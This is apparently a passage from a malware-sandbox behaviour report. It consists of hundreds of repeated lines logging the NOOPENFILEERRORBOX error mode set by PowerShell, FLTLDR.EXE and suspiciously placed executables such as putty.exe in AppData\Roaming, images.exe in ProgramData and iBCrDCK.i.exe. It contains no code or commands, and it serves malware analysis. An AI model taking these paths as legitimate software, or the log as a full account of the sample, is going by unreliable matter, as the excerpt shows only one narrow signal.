Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
Source: C:\Windows\System32\verclsid.exe Process information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\images.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\drvinst.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Process information set: NOOPENFILEERRORBOX
